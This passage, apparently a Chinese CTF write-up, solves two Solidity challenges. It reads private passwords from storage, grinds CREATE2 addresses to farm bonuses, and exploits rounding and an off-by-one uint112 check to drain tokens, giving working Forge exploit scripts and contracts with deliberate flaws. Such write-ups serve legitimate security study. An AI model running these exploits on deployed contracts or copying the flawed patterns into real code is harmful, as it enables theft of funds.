    mapping(address => bool) public challenger;
    uint256 private paralysisRing;
    address owner;//3
    uint80 private rates;
    uint8 private bonus;//3
    uint16 private price;//4
    uint8 private loot;
    bytes10 private password1;//4
    mapping(address => uint256) private attackingType;
    mapping(address => uint256) private waitTime;
    address chainaddr = address(this);
    uint256 private lol = 114;
    uint256 private LOL = 514;
    uint256 private Lo1 = 114514;
    bytes32[] private password2;//11
    uint16 public high2Prefix;

    constructor(
        uint256 _bonus,
        uint256 _price,
        uint256 _rates,
        uint256 _loot,
        bytes10 _password1,
        bytes8 _password2_1,
        bytes8 _password2_2,
```

```
        bytes8 _password2_3,
        bytes8 _password2_4
    ) {
        owner = msg.sender;
        bonus = uint8(_bonus);
        price = uint16(_price);
        rates = uint80(_rates);
        loot = uint8(_loot);
        password1 = _password1;
        password2.push(_password2_1);
        password2.push(_password2_2);
        password2.push(_password2_3);
        password2.push(_password2_4);
    }

    function transferOwnership(address newOwner) external {
        require(msg.sender != owner, "not owner");
        require(newOwner != address(0), "zero address");
        owner = newOwner;
    }

    function newchallengerBundle() public {
        uint16 high2 = uint16(uint160(msg.sender) >> 144);
        require(challenger[msg.sender] == false, "already claimed");
        require(high2 >= high2Prefix, "Invalid address");
        shards[msg.sender] += bonus;
        challenger[msg.sender] = true;
        high2Prefix += 64;
    }

    function buyShards() public payable {
        uint256 yourMoney = msg.value / rates;
        shards[msg.sender] += yourMoney;
    }

    function fightMob() public {
        waitTime[msg.sender] = block.timestamp + 1 minutes;
        attackingType[msg.sender] = 1;
    }

    function collectingMobLoot() public {
        require((waitTime[msg.sender] < block.timestamp), "Mob is alive");
        require(attackingType[msg.sender] == 1);
        attackingType[msg.sender] = 0;
        shards[msg.sender] += 10;
    }

    function fightBoss() public {
        waitTime[msg.sender] = block.timestamp + 52 weeks;
        attackingType[msg.sender] = 2;
    }

    function collectingBossLoot() public {
        require((waitTime[msg.sender] < block.timestamp), "Boss is alive");
        require(attackingType[msg.sender] == 2);
```

```
        attackingType[msg.sender] = 0;
        paralysisRing += 1;
    }

    function transfersOfItems(address to, uint256 value) public {
        require(shards[msg.sender] >= value, "insufficient shards");
        require(msg.sender != to, "don't transfer to yourself");
        shards[msg.sender] -= value;
        shards[to] += value;
    }

    function redeemingParalyzingRing(bytes10 _key1, bytes32 _key2) public {
        require((shards[msg.sender] >= price), "Please use the money
power");
        require(
            (keccak256(abi.encodePacked(password1)) ==
                keccak256(abi.encodePacked(_key1))),
            "Wrong Password1."
        );
        bytes32 password_2;
        bytes32 password_2_0 = password2[0];
        bytes32 password_2_1 = password2[1];
        bytes32 password_2_2 = password2[2];
        bytes32 password_2_3 = password2[3];
        password_2 =
            password_2_0 |
            (password_2_1 >> 64) |
            (password_2_2 >> 128) |
            (password_2_3 >> 192);
        require(
            (keccak256(abi.encodePacked(password_2)) ==
                keccak256(abi.encodePacked(_key2))),
            "Wrong Password2."
        );
        shards[msg.sender] -= price;
        paralysisRing += 1;
    }

    function isSolved() public view returns (bool) {
        require(paralysisRing >= 1);
        return true;
    }
}
```

这道题的目标是让变量`paralysisRing`的值大于1，通过浏览合约发现只在函数`redeemingParalyzingRing`里面改变，调用这个函数就可以解决问题，但是要满足两个条件：

- 调用函数的`shards`大于`price`
- `key1`和`key2`等于`password1`和`password2`

先看需要的`password`，两个都是在构造函数中传入的，可以通过查插槽来获取，接下来分析插槽：

```
mapping(address => uint256) private shards;
mapping(address => bool) public challenger;
uint256 private paralysisRing;
```

```
address owner;//3
uint80 private rates;
uint8 private bonus;//3
uint16 private price;//4
uint8 private loot;
bytes10 private password1;//4
mapping(address => uint256) private attackingType;
mapping(address => uint256) private waitTime;
address chainaddr = address(this);
uint256 private lol = 114;
uint256 private LOL = 514;
uint256 private Lo1 = 114514;
bytes32[] private password2;//11
uint16 public high2Prefix;
```

前三个每个占一个slot，address占20字节，uint80占10字节，uint8占1字节，20+10+1=31，剩下的填充到32字节之后打包到一起

，uint16占2字节，uint8占1字节，bytes10占10字节，这些打包在一起，可以用`cast storage <合约地址> slot`获得插槽里面的值，再左移19位（32-2-1-12），得到`password1`的值。

`password2`的slot是11，动态数组的查找先`cast keccak slot`，获得到哈希，得到的结果就是第零个元素的索引，`cast storage <合约地址> (哈希值+i)`，再根据`password2`的构造规则就可以得到完整的`password2`。

分析插槽还可以采用forge inspect <合约名> storageLayout

接下来让`shards`大于`price`，`shards`在以下几个函数改变，`newchallengerBundle`、`buyShards`、`collectingMobLoot`、`transfersOfItems`。

`buyshards`是用ether买，需要一定的ether，不是可以利用的漏洞。

`collectingMobLoot`是收集小怪奖励，需要先打小怪，并且等待1分钟才能获得`shards`，并不适合。

我的思路是调用`newchallengerBundle`函数，成为新的挑战者，再通过`transfersOfItems`函数，将shards转给我，以此反复，成为新的挑战者有个条件就是`uint16(uint160(msg.sender) >> 144) > high2Prefix`，也就是需要特殊的调用者，可以用create2去构造

需要反复创建新的攻击合约，调用函数成为新的挑战者，再汇集到我，最后传入`password`就可以了

`create2.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {greedyBlueMoon} from "./greedyBlueMoon.sol";
import {Attack} from "./Attack.sol";

contract create2 {
    greedyBlueMoon add1 =
greedyBlueMoon(0x9f01751ED29c453dcA23DF2558C57f03EC572910);

    function computeSalt(address target) public view returns (bytes32) {
        for (uint256 i = 0; i < 1000000; i++) {
            bytes32 salt = bytes32(i);
            address predictedAddress = predictAddress(salt, target);
```

```
            if (uint16(uint160(predictedAddress) >> 144) >= uint16(add1.high2Prefix())) {
                return salt;
            }
        }
        revert("No suitable salt found within the limit");
    }

    function predictAddress(
        bytes32 salt,
        address example
        ) public view returns (address) {
            bytes memory bytecode = abi.encodePacked(
                type(Attack).creationCode,
                abi.encode(example)
            );

            address predictedAddress = address(
                uint160(uint256(
                    keccak256(
                        abi.encodePacked(
                            bytes1(0xff),
                            address(this),
                            salt,
                            keccak256(bytecode)
                        ))
                )));

            return predictedAddress;
        }

        function deployer(
            bytes32 salt,
            address gAddress
        ) public returns (address) {
            Attack a = new Attack{salt: salt}(gAddress);
            return address(a);
        }
}
```

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {greedyBlueMoon} from "./greedyBlueMoon.sol";

contract Attack {
    greedyBlueMoon add2;
    uint256 shard = uint256(uint8(uint256(0x004200009999999999928c682fa5240b694a26b31add003d568d6affcd325c4) & 0xff));
    constructor(address add3) {
        add2 = greedyBlueMoon(add3);
    }
```

```
    function attack() external payable{
        add2.newchallengerBundle();
        add2.transfersOfItems(tx.origin, 50);
    }
}
```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {greedyBlueMoon} from "../src/greedyBlueMoon.sol";
import {create2} from "../src/create2.sol";
import {Attack} from "../src/Attack.sol";

contract POC is Script {
    function run() external {
        vm.startBroadcast();

        greedyBlueMoon target =
greedyBlueMoon(0x9f01751ED29c453dcA23DF2558C57f03EC572910);
        bytes10 key1 = bytes10(
            bytes32(

 0x0000000000000000000000000000000000000072776562363636000000008f3a
            )<<152);
        bytes32 password_2_0 =
0x8542365815820425000000000000000000000000000000000000000000000000;
        bytes32 password_2_1 =
0x9825367458436215000000000000000000000000000000000000000000000000;
        bytes32 password_2_2 =
0x9726841358563224000000000000000000000000000000000000000000000000;
        bytes32 password_2_3 =
0x6952148523852424000000000000000000000000000000000000000000000000;
        bytes32 key2 =
            password_2_0 |
            (password_2_1 >> 64) |
            (password_2_2 >> 128) |
            (password_2_3 >> 192);

        for(uint i=0;i<1000;i++) {
            create2 c2 = new create2();
            bytes32 salt = c2.computeSalt(address(target));
            address attack = c2.deployer(salt, address(target));
            Attack(attack).attack();
        }

        target.redeemingParalyzingRing(key1, key2);

        console.log(target.isSolved());

        vm.stopBroadcast();
    }
```

```
}
```

Capital_prevails

源码：`Setup.sol` & `ERC20.sol` & `Safe.sol` & `Capital_prevails`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./Capital_prevails.sol";
contract Setup {
    Capital_prevails public capital_prevails;
    SimpleERC20 public rweb;
    SimpleERC20 public weth;
    address public constant proletariat = address(0xc0ffee);
    constructor() {
        capital_prevails = new Capital_prevails();
        weth = new SimpleERC20("Wrapped Ether", "WETH", 18, 10 ether);
        rweb = new SimpleERC20("RWeb Token", "RWEBT", 18, 10 ether);
        rweb.approve(address(capital_prevails), 10 ether);
        capital_prevails.createTrade(
            address(rweb),
            address(weth),
            10 ether,
            1 ether
        );
    }
    function isSolved() public view returns (bool) {
        return rweb.balanceOf(proletariat) >= 10 ether;
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

interface IERC20 {
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function approve(address spender, uint256 amount) external returns
(bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
}

contract SimpleERC20 is IERC20 {
```

```
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _totalSupply;
        balanceOf[msg.sender] = _totalSupply;
    }

    function transfer(address _to, uint256 _value) external returns (bool) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[msg.sender] >= _value, "Insufficient balance");

        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;

        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) external returns
(bool) {
        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[_from] >= _value, "Insufficient balance");
        require(
            allowance[_from][msg.sender] >= _value,
```

```
            "Insufficient allowance"
        );

        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;

        emit Transfer(_from, _to, _value);
        return true;
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

contract Safe {
    /// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
    function safeCast(uint256 value) internal pure returns (uint112) {
        require(value <= (1 << 112), "Safe: value exceeds uint112 max");
        return uint112(value);
    }

    /// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
    function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
        require(
            uint256(a) * b <= (1 << 112),
            "Safe: value exceeds uint112 max"
        );
        return uint112(a * b);
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./ERC20.sol";
import "./Safe.sol";

contract Capital_prevails is Safe {
    struct Trade {
        address maker;
        address taker;
        address tokenToSell;
        address tokenToBuy;
        uint112 amountToSell;
        uint112 amountToBuy;
        uint112 filledAmountToSell;
        uint112 filledAmountToBuy;
        bool isActive;
    }

    mapping(uint256 => Trade) public trades;
```

```
    uint256 public nextTradeId;
    bool private locked;
    uint256 public fee = 30 wei;

    event TradeCreated(
        uint256 indexed tradeId,
        address indexed maker,
        address tokenToSell,
        address tokenToBuy,
        uint256 amountToSell,
        uint256 amountToBuy
    );
    event TradeSettled(
        uint256 indexed tradeId,
        address indexed settler,
        uint256 settledAmountToSell
    );
    event TradeCancelled(uint256 indexed tradeId);

    modifier nonReentrant() {
        require(!locked, "ReentrancyGuard: reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function createTrade(
        address _tokenToSell,
        address _tokenToBuy,
        uint256 _amountToSell,
        uint256 _amountToBuy
    ) external nonReentrant {
        require(
            _tokenToSell != address(0) && _tokenToBuy != address(0),
            "Invalid token addresses"
        );

        uint256 tradeId = nextTradeId++;
        trades[tradeId] = Trade({
            maker: msg.sender,
            taker: address(0),
            tokenToSell: _tokenToSell,
            tokenToBuy: _tokenToBuy,
            amountToSell: safeCast(_amountToSell - fee),//
            amountToBuy: safeCast(_amountToBuy),
            filledAmountToSell: 0,
            filledAmountToBuy: 0,
            isActive: true
        });

        require(
            IERC20(_tokenToSell).transferFrom(
                msg.sender,
                address(this),
                _amountToSell
```

```
            ),
            "Transfer failed"
        );

        emit TradeCreated(
            tradeId,
            msg.sender,
            _tokenToSell,
            _tokenToBuy,
            _amountToSell,
            _amountToBuy
        );
    }

    function scaleTrade(uint256 _tradeId, uint256 scale) external
nonReentrant {
        require(msg.sender == trades[_tradeId].maker, "Only maker can
scale");
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(scale > 0, "Invalid scale");
        require(trade.filledAmountToBuy == 0, "Trade is already filled");
        uint112 originalAmountToSell = trade.amountToSell;
        trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
        trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
        uint256 newAmountNeededWithFee = safeCast(
            safeMul(originalAmountToSell, scale) + fee
        );
        if (originalAmountToSell < newAmountNeededWithFee) {
            require(
                IERC20(trade.tokenToSell).transferFrom(
                    msg.sender,
                    address(this),
                    newAmountNeededWithFee - originalAmountToSell
                ),
                "Transfer failed"
            );
        }
    }

    function settleTrade(
        uint256 _tradeId,
        uint256 _amountToSettle
    ) external nonReentrant {
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(_amountToSettle > 0, "Invalid settlement amount");
        uint256 tradeAmount = _amountToSettle * trade.amountToBuy;

        require(
            trade.filledAmountToSell + _amountToSettle <=
trade.amountToSell,
            "Exceeds available amount"
        );

```

```
        require(
            IERC20(trade.tokenToBuy).transferFrom(
                msg.sender,
                trade.maker,
                tradeAmount / trade.amountToSell
            ),
            "Buy transfer failed"
        );
        require(
            IERC20(trade.tokenToSell).transfer(msg.sender,
_amountToSettle),
            "Sell transfer failed"
        );

        trade.filledAmountToSell += safeCast(_amountToSettle);
        trade.filledAmountToBuy += safeCast(tradeAmount /
trade.amountToSell);

        if (trade.filledAmountToSell > trade.amountToSell) {
            trade.isActive = false;
        }

        emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
    }

    function cancelTrade(uint256 _tradeId) external nonReentrant {
        Trade storage trade = trades[_tradeId];
        require(msg.sender == trade.maker, "Only maker can cancel");
        require(trade.isActive, "Trade is not active");

        uint256 remainingAmount = trade.amountToSell -
trade.filledAmountToSell;
        if (remainingAmount > 0) {
            require(
                IERC20(trade.tokenToSell).transfer(
                    trade.maker,
                    remainingAmount
                ),
                "Transfer failed"
            );
        }

        trade.isActive = false;

        emit TradeCancelled(_tradeId);
    }

    function getTrade(
        uint256 _tradeId
    )
        external
        view
        returns (
            address maker,
            address taker,
```

```
            address tokenToSell,
            address tokenToBuy,
            uint256 amountToSell,
            uint256 amountToBuy,
            uint256 filledAmountToSell,
            uint256 filledAmountToBuy,
            bool isActive
        )
    {
        Trade storage trade = trades[_tradeId];
        return (
            trade.maker,
            trade.taker,
            trade.tokenToSell,
            trade.tokenToBuy,
            trade.amountToSell,
            trade.amountToBuy,
            trade.filledAmountToSell,
            trade.filledAmountToBuy,
            trade.isActive
        );
    }
}
```

目标是让这个地址`proletariat`的`rweb`代币余额大于10ether。

在`settleTrade`函数中，它的`transferFrom`里面有一个除法，因为是整数除法，所以如果被除数小于除数算出的结果就等于0，因此不花钱就可以获得代币。

在合约`Safe`中，两个检查都是有问题的，它的目的是为了让value都小于uint112的最大值，但实际上(1<<112)比uint112的最大值还大，如果我传入(1<<112)，那么返回值就会溢出。

我们可以利用这两个漏洞进行攻击：

1. 调用`settleTrade`，传入0和9，有个背景条件就是在合约`Setup`中发起了第0笔交易，因此第一个参数传入0，第二个参数需要保证传入的参数*1ether之后小于10ether，所以我选择传入9，尽可能大限度的嫖`rweb`，用于后面的发起交易。
2. 发起交易之间需要现授权，`IERC20(rweb).approve(address(target), type(uint256).max);`。
3. 接下来发起交易用31wei的`rweb`换0的`weth`，选择31一是因为发起交易需要30wei的手续费，二是为了方便后面的计算。
4. 上面每笔嫖到了9wei，所以做4次循环，获得36wei，大于31wei。
5. 调用`scaleTrade`函数，里面用到了检查的漏洞，`safeCast(safeMul(originalAmountToSell, scale) + fee)`，因为传入的31，所以`originalAmountToSell`的值为1，所以我们让`scale`的值为`(1 << 112) - 30`，这样就会发生溢出，放大了这笔交易。
6. 最后调用`settleTrade`把里面的`rweb`都转出来，再把10ether转给`proletariat`。

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {Setup} from "../src/Setup.sol";
```

```
import {Capital_prevails} from "../src/Capital_prevails.sol";
import {IERC20, SimpleERC20} from "../src/ERC20.sol";

contract POC is Script {
    Setup setup = Setup(0x9E3eCfe7fCf3d4B50eB4E942eE0F622324a66852);
    Capital_prevails target = setup.capital_prevails();
    address rweb = address(setup.rweb());
    address weth = address(setup.weth());

    function run() external {
        vm.startBroadcast();

        for(uint i = 0; i < 4; i++) {
            target.settleTrade(0, 9);
            console.log(IERC20(rweb).balanceOf(msg.sender));
        }
        IERC20(rweb).approve(address(target), type(uint256).max);
        target.createTrade(rweb, weth, 31, 0);
        uint256 scale = uint256((1 << 112) - 30);
        console.log("Scale:", scale);
        target.scaleTrade(1, scale);
        target.settleTrade(1, IERC20(rweb).balanceOf(address(target)));
        IERC20(rweb).transfer(setup.proletariat(), 10 ether);

 console.log(SimpleERC20(rweb).balanceOf(address(setup.proletariat())));
        console.log("Is Solved?", setup.isSolved());

        vm.stopBroadcast();
    }
}
```